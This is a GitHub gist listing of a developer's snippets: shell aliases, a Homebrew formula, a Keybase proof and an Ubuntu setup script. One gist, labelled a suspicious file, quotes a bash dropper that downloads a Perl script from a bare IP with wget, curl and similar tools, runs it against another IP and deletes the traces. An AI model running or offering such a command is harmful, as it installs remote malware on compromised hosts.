Skip to content

Instantly share code, notes, and snippets.

View amio's full-sized avatar
:electron:

Amio Jin amio

:electron:
View GitHub Profile
@amio
amio / aliases.fish
Last active July 21, 2020 05:03
Shell Aliases
# Fish Shell Aliases
alias ydl "youtube-dl -f 'bestvideo[ext=mp4]+bestaudio[ext=m4a]/bestvideo+bestaudio' --merge-output-format mp4"
alias bn 'npm --registry https://bnpm.byted.org'
alias k1 'kubectl --kubeconfig ~/.kube/config/k1.yaml'
alias k2 'kubectl --kubeconfig ~/.kube/config/k2.yaml'
alias k3 'kubectl --kubeconfig ~/.kube/config/k3.yaml'
@amio
amio / README.md
Last active July 10, 2020 11:32
not-so-pretty
-    (response.code !== undefined
-      && response.code !== 0
-      && response.code !== 'aeolus/ok'
-      && response.code !== 'notification/ok')
+    (response.code !== undefined &&
+      response.code !== 0 &&
+      response.code !== 'aeolus/ok' &&
+      response.code !== 'notification/ok')
@amio
amio / README.md
Created April 9, 2020 12:33
quickjs binary for alpine linux
@amio
amio / cli
Last active September 21, 2018 07:46
A suspicious file from http://195.22.126.16/ssh1.txt
bash -c cd /var/tmp/ ; cd /tmp/ ; rm -rf ssh1.txt ; wget http://195.22.126.16/ssh1.txt ; mv ssh1.txt wget.txt ; perl wget.txt 193.169.252.253 ; lwp-download http://195.22.126.16/ssh1.txt ; mv ssh1.txt lynx.txt ; perl lynx.txt 193.169.252.253 ; fetch http://195.22.126.16/ssh1.txt ; mv ssh1.txt fetch.txt ; perl fetch.txt 193.169.252.253 ; curl -O http://195.22.126.16/ssh1.txt ; mv ssh1.txt curl.txt ; perl curl.txt 193.169.252.253 ; rm -rf ssh1.txt wget.txt lynx.txt fetch.txt curl.txt

Keybase proof

I hereby claim:

  • I am amio on github.
  • I am amio (https://keybase.io/amio) on keybase.
  • I have a public key whose fingerprint is 16EA 4801 9A32 BEF2 0AFB D38B 6377 AE88 EF71 5499

To claim this, I am signing this object:

@amio
amio / now-cli.rb
Last active June 27, 2017 07:10 — forked from chrmoritz/now-cli.rb
now cli
require "language/node"
class NowCli < Formula
desc "The command-line interface for realtime global deployments."
homepage "https://zeit.co/now"
url "https://github.com/zeit/now-cli/archive/7.0.2.tar.gz"
sha256 "7924feb98f07a599cb9ffdabd07f95048864cf4fe15fdcbd2922b8cd8b32a8be"
def install
system "npm", "install", *Language::Node.std_npm_install_args(libexec)
@amio
amio / img-alt-cleaner.user.js
Created February 22, 2017 04:01
Image Alt Cleaner
document.querySelectorAll('img').forEach(e => e.removeAttribute('alt'))
@amio
amio / README.md
Last active August 26, 2017 06:11
Ubuntu 16.04 - Init with fish, nginx, and nodejs.

Also a Vultr Startup Script for Ubuntu 16.04.

curl https://gist.githubusercontent.com/amio/b71617198e801577b72518c4ad5c4908/raw/ub16-init.sh | bash
@amio
amio / esnextbin.md
Last active August 20, 2016 14:37
Reproduce invisible `foreignObject` in preact. https://github.com/developit/preact/issues/278